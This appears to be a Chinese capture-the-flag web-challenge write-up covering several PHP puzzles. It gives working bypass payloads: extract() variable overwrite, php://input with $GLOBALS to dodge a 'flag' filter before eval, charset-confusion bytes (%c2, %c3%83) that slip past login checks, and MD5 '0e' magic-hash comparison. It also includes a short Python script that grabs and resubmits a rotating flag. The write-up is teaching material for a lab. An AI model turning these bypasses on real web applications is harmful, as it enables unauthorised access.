看源码
POST方法。Extract覆盖。 直接url ?参数不行,因为POST参数不在URL上,GET参数才在
Burpsuite抓包,改成 pass=1&thepassword_123=1,这样就相等了
题目大概:
$u=$_GET[‘$user’]
$f=$_GET[‘$variable’]
If(isset($u)&&File_get_content($u,’r’)===”im admin”){
If(preg_match(‘/flag/’))
Error
Else
Eval(“var_dump($$f);”)
}
主要是两个地方:===的判断和绕过preg_match(‘/flag/’)
Burpsuite 右键change request method 为post
然后url …/?user=php://input&variable=globals
下方输入 im admin
<h1><center>If you want to login, please let me get username and password.</center></h1>
<!-- mysql_query("set names utf8");
function check_username($str){
if(preg_match("/^admin$/i",$str)){
return 1;
}
for($i=195;$i<240;$i++){
if(preg_match("/".chr($i)."/i",$str)){
return 1;
}
}
return 0;
}
function check_password($str){
if(preg_match("/admins/i",$str)){
return 1;
}
return 0;
}
$sql="select * from user where username=‘$username‘ and password=‘$password‘"; a/a-->
题目提示了,用户名admin,password admins。以及可以用username a,password a先试试。
只需要绕过检测。
检测:admin和admins
绕过admin检测:Username=admin%c2。 除了检测admin还检测195-39的ascii字符,而%c2在194的范围内。
绕过password检测: Mysql 默认字符latin1,。页面显示是utf-8。用字符转换的漏洞代替password的a:password=%c3%83dmins
先抓包试试
发到repeater,go。发现reponse有flag。但是这个flag每次变化。Base64解码两次每次是不同的一串数字。
再看题目提示,应该是把这个flag当做message post出去
速度很快,每次flag不一样,所以用代码(脚本/或者手速特别快)。得到最后的flag。
#coding:utf-8
import requests
import base64
url=‘http://192.168.8.160/web/fast/‘
s=requests.Session()
header=s.get(url).headers
print(header)
flag = base64.b64decode(base64.b64decode(header[‘flag‘]).decode().split(‘:‘)[1]).decode() #对其进行base64两次解密
data={‘message‘:flag}
print(s.post(url=url,data=data).content.decode())
鼠标点不到。检查。
虽然点不到,但是看代码知道点到会跳到 /?key=700的url。
QNKCDZO md5 编码为0exxxx
PHP对所有0e开头(16进制)字符串认为相等
在构造一个0e开头的即可
原文:https://www.cnblogs.com/lqerio/p/13610159.html